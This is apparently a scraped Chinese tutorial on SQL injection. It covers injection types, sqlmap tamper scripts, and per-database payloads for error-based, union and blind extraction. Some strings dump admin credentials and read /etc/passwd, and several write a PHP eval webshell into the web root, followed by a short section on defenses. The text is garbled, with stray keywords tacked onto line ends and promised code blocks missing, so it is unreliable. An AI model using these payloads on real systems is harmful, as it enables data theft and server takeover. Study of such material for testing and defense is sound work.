在Web攻防中,SQL注入絕對是一個技能的頻繁項,爲了技術的成熟化、自動化、智能化,咱們有必要創建SQL注入與之相關典型技術之間的關聯規則。在分析過程當中,整個規則均圍繞核心詞進行直線展開,咱們簡單稱之爲「線性」關聯。以知識點的複雜性咱們雖然稱不上爲神經網絡,但它依然像滾雪球般對知識架構進行完善升級,因此也可稱之爲雪球技術。php
本文以SQL注入爲核心,進行資料信息整合性解讀,主要目的有:html
爲關聯分析這門科學提供簡單認知;mysql
爲初級安全愛好學習者提供參考,大牛繞過;web
分析各關鍵點的區別與聯繫;sql
安全掃盲。shell
本文結構以下:數據庫
PS:文章中使用了N多表格形式,主要是爲了更好的區別與聯繫,便於關聯分析及對比。windows
0x01 基本科普api
說明:經過在用戶可控參數中注入SQL語法,破壞原有SQL結構,達到編寫程序時意料以外結果的攻擊行爲。http://wiki.wooyun.org/web:sql安全
影響:數據庫增刪改查、後臺登陸、getshell
修復:
使用參數檢查的方式,攔截帶有SQL語法的參數傳入應用程序
使用預編譯的處理方式處理拼接了用戶參數的SQL語句
在參數即將進入數據庫執行以前,對SQL語句的語義進行完整性檢查,確認語義沒有發生變化
在出現SQL注入漏洞時,要在出現問題的參數拼接進SQL語句前進行過濾或者校驗,不要依賴程序最開始處防禦代碼
按期審計數據庫執行日誌,查看是否存在應用程序正常邏輯以外的SQL語句執行
1) 按照數據包方式分類
i. Get post cookie auth
2) 按照呈現形式
i. 回顯型注入
i) Int string search
ii. 盲注
i) Error bool time
iii. 另類注入
i) 寬字節注入
ii) http header 注入
iii) 僞靜態
vi) Base64變形
神器解讀
2.1 何爲神器
SQLMAP
使用方法,參見烏雲知識庫。
1. sqlmap用戶手冊
2. sqlmap用戶手冊[續]
3. sqlmap進階使用
Tamper 概覽
腳本名稱 |
做用 |
apostrophemask.py |
用utf8代替引號 |
equaltolike.py |
like 代替等號 |
space2dash.py |
繞過過濾‘=’ 替換空格字符(」),(’ – ‘)後跟一個破折號註釋,一個隨機字符串和一個新行(’ n’) |
greatest.py |
繞過過濾’>’ ,用GREATEST替換大於號。 |
space2hash.py |
空格替換爲#號 隨機字符串 以及換行符 |
apostrophenullencode.py |
繞過過濾雙引號,替換字符和雙引號。 |
halfversionedmorekeywords.py |
當數據庫爲mysql時繞過防火牆,每一個關鍵字以前添加mysql版本評論 |
space2morehash.py |
空格替換爲 #號 以及更多隨機字符串 換行符 |
appendnullbyte.py |
在有效負荷結束位置加載零字節字符編碼 |
ifnull2ifisnull.py |
繞過對 IFNULL 過濾。 替換相似’IFNULL(A, B)’爲’IF(ISNULL(A), B, A)’ |
space2mssqlblank.py |
空格替換爲其它空符號 |
base64encode.py |
用base64編碼替換 |
space2mssqlhash.py |
替換空格 |
modsecurityversioned.py |
過濾空格,包含完整的查詢版本註釋 |
space2mysqlblank.py |
空格替換其它空白符號(mysql) |
between.py |
用between替換大於號(>) |
space2mysqldash.py |
替換空格字符(」)(’ – ‘)後跟一個破折號註釋一個新行(’ n’) |
multiplespaces.py |
圍繞SQL關鍵字添加多個空格 |
space2plus.py |
用+替換空格 |
bluecoat.py |
代替空格字符後與一個有效的隨機空白字符的SQL語句。 而後替換=爲like |
nonrecursivereplacement.py |
取代predefined SQL關鍵字with表示 suitable for替代(例如 .replace(「SELECT」、」」)) filters |
space2randomblank.py |
代替空格字符(「」)從一個隨機的空白字符可選字符的有效集 |
sp_password.py |
追加sp_password’從DBMS日誌的自動模糊處理的有效載荷的末尾 |
chardoubleencode.py |
雙url編碼(不處理以編碼的) |
unionalltounion.py |
替換UNION ALL SELECT UNION SELECT |
charencode.py |
url編碼 |
randomcase.py |
隨機大小寫 |
unmagicquotes.py |
寬字符繞過 GPC addslashes |
randomcomments.py |
用/**/分割sql關鍵字 |
charunicodeencode.py |
字符串 unicode 編碼 |
securesphere.py |
追加特製的字符串 |
versionedmorekeywords.py |
註釋繞過 |
space2comment.py |
Replaces space character (‘ ‘) with comments ‘/**/’ |
一些妙用:
1. 避免過多的錯誤請求被屏蔽 參數:--safe-url,--safe-freq
2. 二階SQL注入 參數:--second-order
3. 從數據庫服務器中讀取文件 參數:--file-read
4. 把文件上傳到數據庫服務器中 參數:--file-write,--file-dest
5. 爬行網站URL 參數:--crawl
6. 非交互模式 參數:--batch
7. 測試WAF/IPS/IDS保護 參數:--identify-waf
8. 啓發式判斷注入 參數:--smart(有時對目標很是多的URL進行測試,爲節省時間,只對可以快速判斷爲注入的報錯點進行注入,可使用此參數。)
9. -technique
B :基於Boolean的盲注(Booleanbased blind)
Q :內聯查詢(Inline queries)
T :基於時間的盲注(time based blind)
U :基於聯合查詢(Union query based)
E :基於錯誤(error based)
S : 棧查詢(stack queries)
流程圖
目前還未看完,先摘抄一部分(基於時間的盲注)講解:
測試應用是否存在SQL注入漏洞時,常常發現某一潛在的漏洞難以確認。這可能源於多種緣由,但主要是由於Web應用未顯示任何錯誤,於是沒法檢索任何數據。
對於這種狀況,要想識別漏洞,向數據庫注入時間延遲並檢查服務器響應是否也已經延遲會頗有幫助。時間延遲是一種很強大的技術,Web服務器雖然能夠隱藏錯誤或數據,但必須等待數據庫返回結果,所以可用它來確認是否存在SQL注入。該技術尤爲適合盲注。
使用了基於時間的盲注來對目標網址進行盲注測試,代碼以下:
重點注意Request.queryPage函數,將參數timeBasedCompare設置爲True,因此在Request.queryPage函數內部,有這麼一段代碼:
而函數wasLastRequestDelayed()的功能主要是判斷最後一次的請求是否有明顯的延時,方法就是將最後一次請求的響應時間與以前全部請求的響應時間的平均值進行比較,若是最後一次請求的響應時間明顯大於以前幾回請求的響應時間的平均值,就說明有延遲。
wasLastRequestDelayed函數的代碼以下:
每次執行http請求的時候,會將執行所響應的時間append到kb.responseTimes列表中,但不包括time-based blind所發起的請求。
從如下代碼就能夠知道了,當timeBasedCompare爲True(即進行time-based blind注入檢測)時,直接返回執行結果,若是是其餘類型的請求,就保存響應時間。
另外,爲了確保基於時間的盲注的準確性,sqlmap執行了兩次queryPage。
若是2次的結果都爲True,那麼就說明目標網址可注入,因此將injectable 設置爲True。
Microsoft OLE DB Provider
ORA-
PLS-
Error in your SQL Syntax
SQL Error
Incorrect Syntax near
Failed Mysql
Unclosed Quotation Mark
JDBC/ODBC Driver
Mysql: /?param=1 select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2)) MSSQL: /?param=1 and(1)=convert(int,@@version)-- Sybase: /?param=1 and(1)=convert(int,@@version)-- Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)— PostgreSQL: /?param=1 and(1)=cast(version() as numeric)-- |
DB |
鏈接符 |
行註釋 |
惟一的默認表變量和函數 |
MSSQL |
%2B (URL+號編碼) e.g. ?category=sho’%2b’es |
-- |
@@PACK_RECEIVED |
MYSQL |
%20 (URL空格編碼) |
# |
CONNECTION_ID() |
Oracle |
|| |
-- |
BITAND(1,1) |
PGsql |
|| |
-- |
getpgusername() |
Access |
「a」 & 「b」 |
N/A |
msysobjects |
SQL經常使用語句
內容 |
MSSQL |
MYSQL |
ORACLE |
查看版本 |
select @@version |
select @@version select version() |
Select banner from v$version; |
當前用戶 |
select system_users; select suer_sname(); select user; select loginname from master..sysprocesses WHERE spid =@@SPID; |
select user(); select system_user(); |
Select user from dual |
列出用戶 |
select name from master..syslogins; |
select user from mysql.user; |
Select username from all_users ORDER BY username; Select username from all_users; |
當前庫 |
select DB_NAME(); |
select database(); |
Select global_name from global_name; |
列出數據庫 |
select name from master..sysdatabases; |
select schema_name from information_schema.schemata; |
Select ower,table_name from all_users; #列出代表 |
當前用戶權限 |
select is_srvolemenber(‘sysadmin’); |
select grantee, privilege_type,is_grantable from information schema.user privileges; |
Select * from user role_privs; Select * from user_sys_privs; |
服務器主機名 |
select @@servername; |
/ |
Select sys_context(‘USERENV’,’HOST’) from dual; |
數據 |
MSSQL |
Mysql |
oracle |
字符串長度 |
LEN() |
LENGTH() |
LENGTH() |
從給定字符串中提取子串 |
SUBSTRING(string,offset,length) |
SELECT SUBSTR(string,offset,length) |
SELECT SUBSTR(string,offset,length) From dual |
字符串(‘ABC’)不帶單引號的表示方式 |
SELECT CHAR(0X41)+CHAR(0X42)+ CHAR(0X43) |
Select char(65,66,67) |
Select chr(65)||chr(66)+chr(67) from dual |
觸發延時 |
WAITFOR DELAY ‘0:0:9’ |
BENCHMARK(1000000,MD5(「HACK」))
Sleep(10) |
BEGIN DBMS_LOCK.SLEEP(5);END; --(僅PL/SQL注入) UTL_INADDR.get_host_name() UTL_INADDR.get_host_address() UTL_HTTP.REQUEST() |
IF語句 |
If (1=1) select ‘A’ else select ‘B’ |
SELECT if(1=1,’A’,’B’) |
/ |
PS:SQLMAP 針對Oracle注入時,使用了比較費解的SUBSTRC,好多時候得中轉更改成SUBSTR.
1) 快速驗證(概念性證實)
2) 工具跑不出來了
i) 的確是注入,但不出數據
ii) 特徵不規律,挖掘規律,定製腳本
3) 繞過過濾
i) 有WAF,手工注入
ii) 有過濾,搞繞過
4) 盲注類
數據庫 |
語句(大多須要配合編碼) |
Oracle |
oder by N # 爆出第一個數據庫名 and 1=2 union select 1,2,(select banner from sys.v_ where rownum=1),4,5,6 from dual # 依次爆出全部數據庫名,假設第一個庫名爲first_dbname and 1=2 union select 1,2,(select owner from all_tables where rownum=1 and owner<>'first_dbname'),4,5,6 from dual 爆出表名 and 1=2 union select 1,2,(select table_name from user_tables where rownum=1),4,5,6 from dual 同理,同爆出下一個數據庫相似爆出下一個表名就不說了,可是必須注意表名用大寫或者表名大寫的十六進制代碼。 爆出表tablename中的第一個字段名 and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and rownum=1),4,5,6 from dual 依次下一個字段名 and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and column_name<>'first_col_name' and rownum=1),4,5,6 from dual
若爲基於時間或者基於bool類型盲注,可結合substr 、ASCII進行賦值盲測。 若屏蔽關鍵函數,可嘗試SYS_CONTEXT('USERENV','CURRENT_USER')類用法。 |
Mysql |
#正常語句 192.168.192.128/sqltest/news.php?id=1 #判斷存在注入否 192.168.192.128/sqltest/news.php?id=1 and 1=2 #肯定字段數 order by 192.168.192.128/sqltest/news.php?id=-1 order by 3 #測試回顯字段 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,3 #測試字段內容 192.168.192.128/sqltest/news.php?id=-1 union select 1,user(),3 192.168.192.128/sqltest/news.php?id=-1 union select 1,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),3 #查詢當前庫下全部表 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #查詢admin表下的字段名(16進制) 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e #查詢admin表下的用戶名密碼 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(name,0x5e,pass) from admin #讀取系統文件(/etc/passwd,需轉換爲16進制) 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,load_file(0x2f6574632f706173737764) #文件寫入 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'-- PS:若權限不足,換個目錄 |
MSSQL |
PS:回顯型請查閱參考資料的連接,這裏主要盲注的語法。 #爆數據庫版本(可先測長度) aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))=67/**/--&t=0 ps:在範圍界定時,可利用二分查找結合大於小於來利用;亦可直接賦值腳本爆破,依次類推直至最後一字母。 #爆當前數據庫名字 aspx?c=c1'/**/and/**/ascii(substring(db_name(),1,1))>200/**/--&t=0 #爆表 aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1 name/**/from/**/dbname.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0 #爆user表內字段 aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/ 1/**/COLUMN_NAME from/**/dbname.information_schema.columns/**/where/** /TABLE_NAME='user'),1,1))>0/**/--&t=0 #爆數據 aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/fPwd/**/from/**/User),1,1))>0/**/--&t=0 |
PS:關於注入繞過(bypass),內容偏多、過細,本次暫不概括。單獨一篇
套裝組合
1) AWVS類 + sqlmap (手工)
2) Burp+ sqlmapAPI(手工)
減小體力活的工程化
Sqli-hunter
GourdScan
白盒的方式有兩種流,一種是檢查全部輸入,另外一種是根據危險函數反向
注入引起的特徵點及敏感函數。
NO. |
概要 |
1 |
$_SERVER未轉義 |
2 |
更新時未重構更新序列 |
3 |
使用了一個未定義的常量 |
4 |
PHP自編標籤與strip_tags順序邏輯繞過 |
5 |
可控變量進入雙引號 |
6 |
寬字節轉編碼過程 |
7 |
mysql多表查詢繞過 |
8 |
別名as+反引號可閉合其後語句 |
9 |
mysql的類型強制轉換 |
10 |
過濾條件是否有if判斷進入 |
11 |
全局過濾存在白名單 |
12 |
字符串截斷函數獲取定長數據 |
13 |
括號包裹繞過 |
14 |
弱類型驗證機制 |
15 |
WAF或者過濾了and|or的狀況可使用&&與||進行盲注。 |
16 |
windows下php中訪問文件名使用」<」 「>」將會被替換成」*」 「?」 |
17 |
二次urldecode注入 |
18 |
邏輯引用二次注入 |
1) $_SERVER[‘PHP_SELF’]和$_SERVER[‘QUERY_STRING’],而$_SERVER並無轉義,形成了注入。
2) update更新時沒有重構更新序列,致使更新其餘關鍵字段(金錢、權限)
3) 在 php中 若是使用了一個未定義的常量,PHP 假定想要的是該常量自己的名字,如同用字符串調用它同樣(CONSTANT 對應 「CONSTANT」)。此時將發出一個 E_NOTICE 級的錯誤(參考http://php.net/manual/zh/language.constants.syntax.php)
4) PHP中自編寫對標籤的過濾或關鍵字過濾,應放在strip_tags等去除函數以後,不然引發過濾繞過。
5) 當可控變量進入雙引號中時可造成webshell所以代碼執行使用,${file_put_contents($_GET[f],$_GET[p])}能夠生成webshell。
6) 寬字節轉編碼過程當中出現寬字節注入
PHP鏈接MySQL時設置setcharacter_set_client=gbk ,MySQL服務器對查詢語句進行GBK轉碼致使反斜槓\被%df吃掉。
7) 構造查詢語句時沒法刪除目標表中不存在字段時可以使用mysql多表查詢繞過
8) mysql中(反引號)能做爲註釋符,且會自動閉合末尾沒有閉合的反引號。沒法使用註釋符的狀況下使用別名as+反引號可閉合其後語句。
9) mysql的類型強制轉換可繞過PHP中empty()函數對0的false返回
提交/?test=0axxx -> empty($_GET['test']) => 返回真 |
可是mysql中提交其0axxx到數字型時強制轉換成數字0
10) 存在全局過濾時觀察過濾條件是否有if判斷進入,cms可能存在自定safekey不啓用全局過濾。經過程序遺留或者原有界面輸出safekey致使繞過。
11) 因爲全局過濾存在白名單限定功能,可以使用無用參數帶入繞過。
$webscan_white_directory='admin|\/dede\/|\/install\/'; |
請求中包含了白名單參數因此放行。
http://www.target.com/index.php/dede/?m=foo&c=bar&id=1' and 1=2 union select xxx |
12) 字符串截斷函數獲取定長數據,截取\\或\’前一位,閉合語句。
利用條件必須是存在兩個可控參數,前閉合,後注入。
13) 過濾了空格,逗號的注入,可以使用括號包裹繞過。具體如遇到select from(關鍵字空格判斷的正則,且剔除/**/等)可以使用括號包裹查詢字段繞過。
14) 因爲PHP弱類型驗證機制,致使==、in_array()等可經過強制轉換繞過驗證。
15) WAF或者過濾了and|or的狀況可使用&&與||進行盲注。
16) windows下php中訪問文件名使用」<」 「>」將會被替換成」*」 「?」,分別表明N個任意字符與1個任意字符。
file_get_contents("/images/".$_GET['a'].".jpg"); |
可以使用test.php?a=../a<%00訪問對應php文件。
17) 使用了urldecode 或者rawurldecode函數,則會致使二次解碼聲場單引號而發生注入。
18) 邏輯引用,致使二次注入
部分盲點
盲點以下:
①注入點相似id=1這種整型的參數就會徹底無視GPC的過濾;
②注入點包含鍵值對的,那麼這裏只檢測了value,對key的過濾就沒有防禦;
③有時候全局的過濾只過濾掉GET、POST和COOKIE,可是沒過濾SERVER。
附常見的SERVER變量(具體含義自行百度):QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE
PS:若對注入的代碼審計有實際操類演練,參考白帽子分享之代碼審計的藝術系列HackBraid@301在路上
1) 預編譯處理
參數化查詢是指在設計與數據庫連接並訪問數據時,在須要填入數值或數據的地方,使用參數來給值。在SQL語句中,這些參數一般一佔位符來表示。
MSSQL(ASP.NET)
爲了提升sql執行速度,請爲SqlParameter參數加上SqlDbType和size屬性
PHP
JAVA
PS:儘管SQL語句大致類似,可是在不一樣數據庫的特色,可能參數化SQL語句不一樣,例如在Access中參數化SQL語句是在參數直接以「?」做爲參數名,在SQL Server中是參數有「@」前綴,在MySQL中是參數有「?」前綴,在Oracle中參數以「:」爲前綴。
2) 過濾函數的使用
i. addslashes()
ii. mysql_escape_string()
iii. mysql_real_escape_string()
iv. intval()
3) 框架及第三方過濾函數與類
i. JAVA hibernate框架
ii. Others
Web應用防火牆——WAF
Key:雲waf、安全狗、雲鎖、sqlchop
2) PHPMYSQL 類,大權限,知路徑,傳文件,回shell(上傳&命令執行),OS-SHELL。
3) MSSQL大權限,知路徑,傳文件,回shell。結合xp_cmdshell 執行系統命令。
4) Phpmyadmingetshell (編碼)
select'<?eval($_POST[cmd]);?>' into outfile 'd:/wwwroot/1.php';
5) Unionselect getshell
and 1=2 union select0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile'/alidata/www/cms/ttbdxt/conf.php'--
功能點 |
參數 |
登陸 |
Username password |
Header |
Cookie Referer x-forward remote-ip |
查詢展現 數據寫入(表單) 數據更新 |
id u category price str value |
數據搜素 |
Key |
僞靜態 |
(同3),加* |
Mysql不安全配置 Set character_set_client=gbk |
%df%27 |
傳參(橫向數據流向、縱向入庫流向) |
Parameter (同3) |
訂單類多級交互、從新編輯 配送地址、資料編輯 |
二次注入 |
APP仍調用WEB API |
同3 |
編碼urldecode base64 |
Urldecode() rawurldecode() |
http://blog.csdn.net/rongyongfeikai2/article/details/40457827
http://drops.wooyun.org/tips/5254
https://www.91ri.org/7852.html
https://www.91ri.org/7869.html
https://www.91ri.org/7860.html
http://www.cnblogs.com/hongfei/category/372087.html
http://www.cnblogs.com/shellr00t/p/5310187.html
https://www.91ri.org/15074.html
http://blog.wils0n.cn/?post=11